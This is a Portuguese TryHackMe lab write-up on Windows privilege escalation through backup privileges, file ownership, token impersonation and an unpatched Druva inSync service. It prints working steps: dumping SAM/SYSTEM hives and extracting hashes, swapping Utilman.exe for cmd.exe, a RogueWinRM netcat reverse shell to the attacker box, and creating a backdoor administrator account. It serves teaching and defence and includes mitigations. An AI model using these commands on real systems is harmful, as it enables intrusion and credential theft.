Windows Privilege Escalation - Backup Operators, Tokens e Druva inSync
Introdução
Nesta room do TryHackMe, explorei diferentes formas de elevar privilégios no Windows: permissões de backup, propriedade de arquivos, impersonação de tokens e um serviço desatualizado. A ideia foi entender por que cada técnica funciona, sem apenas copiar comandos.
Ambiente de laboratório autorizado. Os IPs mudam quando as VMs são reiniciadas. Não altere executáveis do Windows nem crie usuários administrativos em máquinas fora do escopo.
Índice
- Backup Operators — SeBackupPrivilege
- SeTakeOwnership — Utilman
- SeImpersonate — RogueWinRM
- Unpatched Software — Druva inSync
- Ferramentas de enumeração
- Comandos e operadores
- Dicas, problemas encontrados e mitigação
1. Backup Operators — SeBackupPrivilege
Conceito: integrantes de Backup Operators podem usar permissões especiais para fazer backup e restaurar arquivos. Isso não significa que sejam administradores, mas uma permissão de backup mal atribuída pode expor informações sensíveis.
Ambiente utilizado: AttackBox 10.64.94.176 → Windows 10.64.164.57.
Acesso e identificação
No terminal da AttackBox:
xfreerdp /v:10.64.164.57 /u:THMBackup /p:'CopyMaster555' /cert:ignore /dynamic-resolution
No Windows, abri um CMD como administrador (informando a senha novamente) e conferi:
whoami
whoami /priv
Resultado relevante:
wprivesc2\thmbackup
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
Atenção: Disabled significa que o privilégio está presente no token, mas não está habilitado naquele momento. Não é a mesma coisa que ele estar ausente. Comandos compatíveis com backup podem ativá-lo para a operação.
Criando cópias da SAM e SYSTEM
reg save hklm\sam C:\Users\THMBackup\sam.hive
reg save hklm\system C:\Users\THMBackup\system.hive
reg save: salva uma cópia de uma chave do Registro.HKLM\SAM: contém informações das contas locais, incluindo hashes protegidos.HKLM\SYSTEM: contém os dados necessários para recuperar a chave que protege esses hashes.sam.hiveesystem.hive: arquivos gerados para análise offline; não são hashes em si.
Transferindo os arquivos para a AttackBox
O Windows já consegue enviar arquivos via SMB. Para receber os arquivos, iniciei um servidor SMB na AttackBox, dentro de uma pasta de trabalho:
mkdir -p ~/share && cd ~/share
smbserver -smb2support -username THMBackup -password 'CopyMaster555' public .
Na minha versão do Impacket, o executável se chamava smbserver, e não impacket-smbserver.
No CMD do Windows:
net use \\10.64.94.176\public /user:THMBackup "CopyMaster555"
copy C:\Users\THMBackup\sam.hive \\10.64.94.176\public\
copy C:\Users\THMBackup\system.hive \\10.64.94.176\public\
Depois confirmei os dois arquivos no Linux:
ls -lh ~/share/
Por que o SMB funcionou aqui? A conexão partiu do Windows para a AttackBox. Isso é diferente de tentar acessar o SMB do próprio Windows pela rede.
Extraindo hashes com Impacket
cd ~/share
secretsdump -sam sam.hive -system system.hive LOCAL
Formato de uma linha da saída:
Administrator:500:LMHASH:NTHASH:::
O NT hash é o quarto campo. LOCAL manda o Impacket trabalhar com os arquivos locais, sem conectar ao Windows.
A room propunha usar esse hash com Pass-the-Hash (PtH) e psexec:
psexec -hashes LMHASH:NTHASH administrator@10.64.164.57
No meu teste, essa etapa não funcionou. O Nmap mostrou:
445/tcp filtered microsoft-ds
3389/tcp open ms-wbt-server
O psexec precisa alcançar a porta 445/TCP no Windows para autenticar e instalar um serviço remoto. Como a conexão expirava, não cheguei a uma shell SYSTEM por esse caminho. Não era erro na extração dos hashes nem no diretório compartilhado.
Alternativa usada: ler os arquivos com privilégio de backup
Como a flag estava no desktop do Administrator, usei o modo de backup do robocopy em um CMD elevado:
robocopy C:\Users\Administrator\Desktop C:\Users\THMBackup\loot /B /E /R:0 /W:0
dir C:\Users\THMBackup\loot
O /B solicita o modo Backup, permitindo que o programa utilize SeBackupPrivilege. Assim, obtive a flag da primeira etapa:
THM{SEFLAGPRIVILEGE}
Aprendizado: ler arquivos protegidos com SeBackupPrivilege não significa que a sessão atual virou SYSTEM. A técnica e o resultado precisam ser diferenciados.
2. SeTakeOwnership — assumindo controle do Utilman
Conceito: SeTakeOwnershipPrivilege permite assumir a propriedade de objetos como arquivos e chaves do Registro. Ser proprietário não concede automaticamente permissão de escrita, mas permite alterar a lista de permissões (ACL).
Nesta etapa, a room utiliza o Utilman.exe, recurso de acessibilidade do Windows que pode ser iniciado na tela de bloqueio com contexto SYSTEM.
Conexão e enumeração
xfreerdp /v:10.64.164.57 /u:THMTakeOwnership /p:'TheWorldIsMine2022' /cert:ignore /dynamic-resolution
Abri o CMD elevado e executei:
whoami
whoami /priv
Encontrei:
wprivesc2\thmtakeownership
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
Assumir propriedade e conceder escrita
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
takeown /f: muda o proprietário do arquivo indicado.icacls: consulta e altera permissões do Windows./grant THMTakeOwnership:F: concede Full Control à conta, incluindo escrita.
O takeown foi bem-sucedido, e o icacls confirmou que processou o arquivo sem falhas.
Substituir o executável e testar
Já dentro de C:\Windows\System32:
copy cmd.exe utilman.exe
Confirmei a substituição quando o Windows perguntou se deveria sobrescrever o arquivo.
Depois, pelo menu Iniciar, selecionei Lock e cliquei no ícone Ease of Access da tela bloqueada. Isso abriu um CMD. Conferi:
whoami
Resultado:
nt authority\system
Por que funcionou? Substituí o programa acionado pelo atalho de acessibilidade por cmd.exe. O Windows iniciou esse programa no contexto privilegiado da tela de bloqueio.
Em máquinas reais, modificar
Utilman.execompromete um componente protegido do Windows. Nesta VM foi uma demonstração controlada; o executável original deve ser restaurado em sistemas de teste persistentes.
3. SeImpersonate / SeAssignPrimaryToken — RogueWinRM
Conceito: um token representa o contexto de segurança de um processo ou usuário. Certos serviços precisam agir temporariamente em nome de outro usuário (impersonation). Se isso puder ser provocado de forma indevida, um serviço com permissões limitadas pode acabar executando ações como uma conta mais privilegiada.
Na room, a web shell disponível no IIS estava em:
http://10.64.164.57/
Pelo painel, executei:
whoami
whoami /priv
Resultado relevante:
iis apppool\defaultapppool
SeAssignPrimaryTokenPrivilege Disabled
SeImpersonatePrivilege Enabled
A conta de um Application Pool do IIS não era SYSTEM, mas possuía SeImpersonatePrivilege.
Como o RogueWinRM explora isso?
O laboratório usa uma interação do serviço BITS (Background Intelligent Transfer Service) com a porta 5985, normalmente associada ao WinRM (Windows Remote Management).
O RogueWinRM simula o endpoint necessário, recebe a autenticação de um processo privilegiado e usa a capacidade de impersonação para executar outro processo com o token obtido. O exploit já estava na VM em C:\tools\RogueWinRM\.
Reverse shell
Na AttackBox, abri um listener:
nc -lvp 4442
Na web shell do alvo, executei:
C:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.64.94.176 4442"
-p: executável a iniciar, aquinc64.exe.-a: argumentos enviados a esse executável.-e cmd.exe: faz o Netcat executar o CMD vinculado à conexão.10.64.94.176 4442: IP e porta do listener na AttackBox.
O RogueWinRM informou:
BITS triggered!
[+] authresult 0
NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
E a AttackBox recebeu uma shell. Confirmei:
whoami
nt authority\system
Aprendizado: aqui a elevação ocorreu por impersonação do token, não por senha ou hash. CreateProcessWithTokenW OK confirmou que o processo foi criado usando o contexto obtido.
4. Unpatched Software — Druva inSync
Desta vez, o vetor não era um privilégio especial no usuário: a room apresentava um serviço Druva inSync desatualizado que aceitava comandos por uma interface RPC local e os executava com privilégios elevados.
VM desta etapa: 10.64.175.38 — um alvo diferente das etapas anteriores.
Acessar e conhecer a máquina
xfreerdp /v:10.64.175.38:3389 /u:thm-unpriv /p:'Password321' /cert:ignore /dynamic-resolution +clipboard
Aqui, +clipboard habilita a área de transferência entre Linux e Windows. Usei o FreeRDP para obter uma sessão do usuário sem privilégios.
O exploit de referência já estava no alvo:
C:\tools\Druva_inSync_exploit.txt
Esse script PowerShell se comunica com 127.0.0.1:6064, monta uma mensagem para a interface do Druva e envia o comando solicitado. O serviço vulnerável processa a requisição com permissões que o usuário comum não possui.
Executar o script sem reescrever todo o exploit
No PowerShell da VM, copiei o arquivo existente:
Copy-Item C:\tools\Druva_inSync_exploit.txt "$env:TEMP\exploit.ps1"
O valor original da variável era:
$cmd = "net user pwnd /add"
Ele criaria uma conta comum. Para testar a elevação, alterei o $cmd para criar a conta e adicioná-la ao grupo Administrators. No meu teste, usei Password321 como senha:
$cmd = "net user pwnd Password321 /add & net localgroup administrators pwnd /add"
No arquivo copiado, essa linha deve substituir a definição original de $cmd. É possível editar com:
notepad "$env:TEMP\exploit.ps1"
Depois, executei:
powershell.exe -NoProfile -ExecutionPolicy Bypass -File "$env:TEMP\exploit.ps1"
-NoProfile: não carrega o perfil do PowerShell.-ExecutionPolicy Bypass: evita o bloqueio de execução de scripts nessa instância, sem alterar permanentemente a política.-File: executa o.ps1informado.&dentro de$cmd: separa os dois comandos docmd.exe; primeiro cria a conta, depois adiciona ao grupo.
Nota sobre as senhas: o texto da room sugeria
SimplePass123, mas no meu teste useiPassword321. A senha usada ao entrar comopwndprecisa corresponder à que foi definida no script.
Conferir e recuperar a flag
net user pwnd
O resultado mostrou a conta ativa nos grupos Administrators e Users. Assim, a execução do exploit foi confirmada.
Usando uma sessão administrativa, abri o CMD elevado e li:
type C:\Users\Administrator\Desktop\flag.txt
THM{EZ_DLL_PROXY_4ME}
Diferença importante: criar um usuário do grupo Administrators não transforma automaticamente a sessão atual de thm-unpriv em uma sessão elevada. A nova conta deve ser usada para abrir uma sessão/processo administrativo.
5. Ferramentas de enumeração
Antes de explorar um serviço, vale procurar permissões, versões vulneráveis e configurações inseguras. A room apresentou quatro ferramentas:
| Ferramenta | Onde roda | Para que serve |
|---|---|---|
| WinPEAS | Windows alvo | Enumera possíveis caminhos de escalação |
| PrivescCheck | PowerShell do alvo | Verifica configurações e privilégios inseguros |
| WES-NG | AttackBox/Linux | Compara o systeminfo com uma base de vulnerabilidades |
| Metasploit local_exploit_suggester | Metasploit com sessão Meterpreter | Sugere exploits locais potencialmente aplicáveis |
WinPEAS
winpeas.exe > outputfile.txt
O > grava a saída no arquivo, evitando poluir o terminal. É útil quando a enumeração produz centenas de linhas.
PrivescCheck
Set-ExecutionPolicy Bypass -Scope Process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck
O . separado por espaço é o dot sourcing do PowerShell: carrega as funções do script na sessão atual. Invoke-PrivescCheck então executa a verificação.
WES-NG
No Windows:
systeminfo > systeminfo.txt
Copie o systeminfo.txt para a AttackBox e execute:
wes.py --update
wes.py systeminfo.txt
O WES-NG sugere vulnerabilidades com base nas informações fornecidas; uma sugestão não prova que o exploit funcionará.
Metasploit
Se já existir uma sessão Meterpreter, o módulo multi/recon/local_exploit_suggester pode avaliar possíveis exploits locais. Não precisei utilizá-lo para resolver estas etapas.
6. Comandos e operadores — consulta rápida
| Comando / operador | O que faz |
|---|---|
whoami /priv |
Lista privilégios do token atual e seus estados |
whoami /groups |
Mostra grupos e nível de integridade |
reg save |
Exporta uma cópia de uma chave do Registro |
net use |
Conecta a um compartilhamento SMB |
copy |
Copia um arquivo para outro local |
secretsdump -sam -system LOCAL |
Analisa os hives locais e extrai hashes de contas |
psexec -hashes |
Autentica remotamente por LM:NT hash, se SMB estiver acessível |
robocopy /B |
Copia arquivos em modo de backup |
takeown /f |
Assume a propriedade de um arquivo |
icacls /grant usuario:F |
Concede controle total a uma conta |
nc -lvp 4442 |
Abre um listener TCP na porta 4442 |
net user |
Consulta ou cria contas locais |
net localgroup |
Consulta ou modifica integrantes de grupos locais |
type arquivo |
Exibe um arquivo de texto no CMD |
> |
Redireciona a saída e sobrescreve um arquivo |
& no CMD |
Encadeia comandos, mesmo que o anterior falhe |
\ em caminhos Windows |
Separa diretórios; em \\servidor\share, identifica um caminho de rede UNC |
7. Dicas, problemas encontrados e mitigação
Erros reais que apareceram
impacket-smbserver: command not found — a versão instalada usava smbserver diretamente. O mesmo valeu para secretsdump e psexec. Usar python3.9 /opt/impacket/examples/... falhou porque aquele interpretador não tinha o módulo Impacket.
psexec ... timed out — o SMB do alvo estava filtered na porta 445. Mesmo depois de reiniciar as VMs, a porta continuou filtrada. A transferência dos hives, que partia do Windows para a AttackBox, funcionava normalmente.
Enable-NetFirewallRule: Access is denied — abrir um terminal com integridade High não garante que a conta tenha autorização para alterar o firewall. Backup Operators não é a mesma coisa que Administrators. Não foi necessário alterar o firewall para obter a flag.
whoami mostrando root na AttackBox — isso só confirma o usuário do Linux. Para verificar a escalação, o whoami precisa ser executado na sessão do Windows alvo.
Como pensar na escalação
Em cada etapa, procure responder:
- Quem sou eu?
whoamiewhoami /priv. - O que posso controlar? Arquivos, ACLs, tokens, serviços ou versões instaladas.
- Quem executará a ação? Usuário comum, administrador ou SYSTEM.
- Como confirmar?
whoami, grupo administrativo, processo criado ou leitura efetiva da flag.
Mitigação
- Conceder
SeBackupPrivilege,SeTakeOwnershipPrivilegeeSeImpersonatePrivilegesomente a contas que realmente precisem deles. - Restringir alterações em executáveis do Windows, manter controles de integridade e monitorar alterações em ACLs e binários protegidos.
- Reduzir permissões dos application pools e dos serviços; revisar exposição de mecanismos de impersonação.
- Atualizar serviços como o Druva inSync, remover versões vulneráveis e acompanhar alertas dos fornecedores.
- Monitorar criação de usuários locais e mudanças no grupo Administrators, especialmente após execução de processos incomuns.
Conclusão
As técnicas exploraram quatro pontos distintos: privilégio de backup, propriedade de arquivos, impersonação de token e software vulnerável. O aprendizado mais importante foi separar ter uma permissão, conseguir usar essa permissão e realmente executar como SYSTEM.